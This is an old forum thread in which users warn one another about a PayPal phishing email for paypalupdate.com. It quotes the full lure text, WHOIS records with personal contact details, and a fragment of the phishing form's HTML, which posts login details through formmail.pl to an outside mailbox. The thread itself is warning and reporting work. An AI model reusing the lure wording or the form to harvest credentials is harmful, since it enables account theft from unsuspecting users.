SCAM ALERT! ---- WWW.PAYPALUPDATE.COM

[dahunan]

Hello,

I just received an email that I do not trust as being authentic. And suspect someone is trying to steal paypal passwords??

Here is the message

URGENT: PayPal System Problems

Dear PayPal User,

Last night we had some trouble with one of our computer systems. While the trouble appears to be minor, we are not taking any chances. We decided to take the troubled system offline and replace it with a new system. Unfortunately this caused us to lose some member data. Please follow the link below and log into your account to make sure your information is not affected. Account balances have not been affected.

Because of the inconvenience this causes we are giving all users that repair their missing data their next two incoming transfers for free! You will pay no fees for your next two incoming transfers*.


http://www.paypalupdate.com/cgibin/webscr/?cmd=_login-run



Thank you for using PayPal!

* - If fees would normally apply, you will not pay anything for the next two incoming transfers you receive.
PayPal Security

PROTECT YOUR PASSWORD
NEVER give your password to anyone and ONLY log in at PayPal's website. If anyone asks for your password, please follow the Security Tips instructions on the PayPal website.

Please do not reply to this e-mail. Mail sent to this address cannot be answered. For assistance, log in to your PayPal account and choose the "Help" link in the footer of any page.

I checked the whois database and
www.paypalupdate.com is not part of the real PayPal, Inc.

WHOIS for paypalupdate.com
Organization:
Paypal, INC.
Max Levine
591 Willow Ave.
Cedarhurst, NY 11516
US
Phone: 408 556 8864
Email: booloodad@uscity.net

Registrar Name....: Register.com
Registrar Whois...: whois.register.com
Registrar Homepage: http://www.register.com

Domain Name: paypalupdate.com

Created on..............: Sat, Jun 22, 2002
Expires on..............: Sun, Jun 22, 2003
Record last updated on..: Sat, Jun 22, 2002

Administrative Contact:
Paypal, INC.
Max Levine
591 Willow Ave.
Cedarhurst, NY 11516
US
Phone: 408 556 8864
Email: booloodad@uscity.net

Technical Contact, Zone Contact:
Register.Com
Domain Registrar
575 8th Avenue - 11th Floor
New York, NY 10018
US
Phone: 902-749-2701
Fax..: 902-749-5429
Email: domain-registrar@register.com

Domain servers in listed order:

NS1.WINSAVE.COM 207.150.192.120
NS2.WINSAVE.COM 207.150.194.121
NS3.WINSAVE.COM 207.150.196.122

VERSUS

WHOIS for paypal.com
Registrant:
Confinity, Inc (PAYPAL2-DOM)
1840 Embarcadero Rd.
Palo Alto, CA 94303
US

Domain Name: paypal.com

Administrative Contact, Technical Contact:
PayPal, Inc. Hostmaster (PI2724-ORG) hostmaster@PAYPAL.COM
PayPal, Inc.
Palo Alto, CA 94303
Palo Alto, CA 94303
US
650.251.1100
Fax- 650.251.1101

Record expires on 15-Jul-2010.
Record created on 15-Jul-1999.
Database last updated on 26-Jun-2002 00:58:19 EDT.

Domain servers in listed order:

NS1.NIX.PAYPAL.COM 65.206.228.70
NS2.NIX.PAYPAL.COM 65.206.228.71
NS1.SC5.PAYPAL.COM 216.136.155.4
NS2.SC5.PAYPAL.COM 216.136.155.5

BE CAREFUL

I have called many different agencies but nobody can help me... PayPal offices are all closed

 

[dakata24]

of course it is..

 

[Miramonti]

Yes!

 

[dahunan]

Mine came at 9:45 pm pacific tonight June 25th ----- just 15 minutes before the paypal customer service lines closed.

I called CERT, FBI, PayPal, Register.com and nobody could help.. I did not want anyone to get screwed by this.

 

[AZGamer]

If you didn't give that site your info(such as password), you have nothing to worry about.

 

[MrCodeDude]

Heh, I love flooding sites..

email address: go@fsckyourself.com
password: idiot

It says I need to update my Credit Card infarmation!!
-- mrcodedude

 

[bunker]

Originally posted by: MrCodeDude
Heh, I love flooding sites..

email address: go@fsckyourself.com
password: idiot

It says I need to update my Credit Card infarmation!!
-- mrcodedude

email address: scams@fbi.gov
password: youhavebeenreported

Doubt it will scare him, but it's worth it

 

[ZeroBurn]

huh, wasn't aware paypal was based down the street from where i work

 

[Skyclad1uhm1]

Stupid people don't need money anyway, might as well take it!

 

[dude]

It's comming from Cedant Web Hosting in Davis, CA 95616. Cedant is hosted by A+Net Internet Services (core01.san-diego.com) otherwise known as Abacus America, Inc (abac.net), which runs on UUNET Technologies' backbone.


I suggest we contact them.

 

[dude]

A+Net
858-455-7709 ext 135
858-410-6900
Fax 858-450-0567


Cedant
530-753-3787
fax 509-275-4699

 

[jjones]

Here's some info out of the form itself:

&ltFORM ACTION = "http://66.175.47.221/cgi-bin/formmail.pl" METHOD = "POST">

&ltinput type="hidden" name="redirect" value="http://www.paypalupdate.com/process_login.html">

&ltinput type="hidden" name="subject" value="PP Login Info!">

&ltINPUT type=HIDDEN name="recipient" value="paypalsucks@ziplip.com">

I love the subject line and recipient; these guys are genuises.

 

[jjones]

Registrant info on ziplip.com. I sent an e-mail to Dotser about them.

The data contained in Dotster, Inc.'s WHOIS database

Registrant:
Arvind Srinivasan
1265 Montecito Avenue
Suite 106
Mountain View, CA 94043
US

Registrar: Dotster (http://www.dotster.com)
Domain Name: ZIPLIP.COM
Created on: 06-APR-99
Expires on: 06-APR-03
Last Updated on: 10-SEP-01

Administrative Contact:
Srinivasan, Arvind asrinivasan@ziplip.com
1265 Montecito Avenue
Suite 106
Mountain View, CA 94043
US
650.968.8989
650.968.9089

Technical Contact:
Admin, DNS dns-admin@ziplip.com
1265 Montecito Avenue
Suite 106
Mountain View, CA 94043
US
650.968.8989
650.968.9089


Domain servers in listed order:
A.NS.VERIO.NET
S.NS.VERIO.NET

 

[Rainsford]

I went here, https://www.ifccfbi.gov/complaint/terrorist.asp, and submitted a tip. Not sure if the FBI deals with this kind of thing or not, but it said it could be used to report any suspected criminal activity. So, sounds good to me.

 

[Damon]

Hi,

Thanks for posting the warning. Our fraud team is in receipt of this item. Thank you for being so attentive to the email.

 

[Vette73]

I just went to WWW.PAYPALUPDATE.COM and got this....



"site disabled"




Thats all to this little scam

 

[Russ]

I'm curious. How do these scam artists get the eMail addresses of Paypal users? I never get these Paypal scams, and I get well over a hundred spam/scam eMail a day. Doesn't look random.

Russ, NCNE

 

[Thegonagle]

Russ, I'd imagine they scan Ebay, mostly, either manually, or with a small script or program that is setup to grab the email address of any seller with the word ?Paypal? in an auction.

I use Paypal, but I don't sell on Ebay. I haven't ever received one of these messages that I can remember.

 

[Evadman]

I use paypal pretty frequently to recieve money, but never advertize with them. I have never gotten one of these messages.

 

[apoppin]

Just curious . . . what happens to these scammers when they are exposed/caught?

What kind of criminal and/or civil penalties do they face?

 

[earthman]

This is not a new scam. Hope you people don't fall for it. No legit orgainization would ever ask for this kind of data in this fashion....and no legit org wouldn't have their data properly backed up allowing for server replacement, etc.

 

[Skyclad1uhm1]

Originally posted by: apoppin
Just curious . . . what happens to these scammers when they are exposed/caught?

What kind of criminal and/or civil penalties do they face?

Chopping off of certain body parts, public stoning.

 

[XFreebie]

408 area code, that's silicon valley... with a NY registration address. i could drive up to mountain view to that otehr d00d's address but what would i say. "surprise, the ATOT has caught j00!!"

 

[dude]

Originally posted by: Russ
I'm curious. How do these scam artists get the eMail addresses of Paypal users? I never get these Paypal scams, and I get well over a hundred spam/scam eMail a day. Doesn't look random. Russ, NCNE

I use paypal also. Recently and in the past. I never got a single one of these messages, even though I receive many many pieces of junk mail in my inbox. I think people who has their ebay user ID as their email address are getting the paypal fraud spam.

 

[apoppin]

Originally posted by: Skyclad1uhm1

Originally posted by: apoppin
Just curious . . . what happens to these scammers when they are exposed/caught?

What kind of criminal and/or civil penalties do they face?

Chopping off of certain body parts, public stoning.

We are not talking about justice - only "real world" penalties.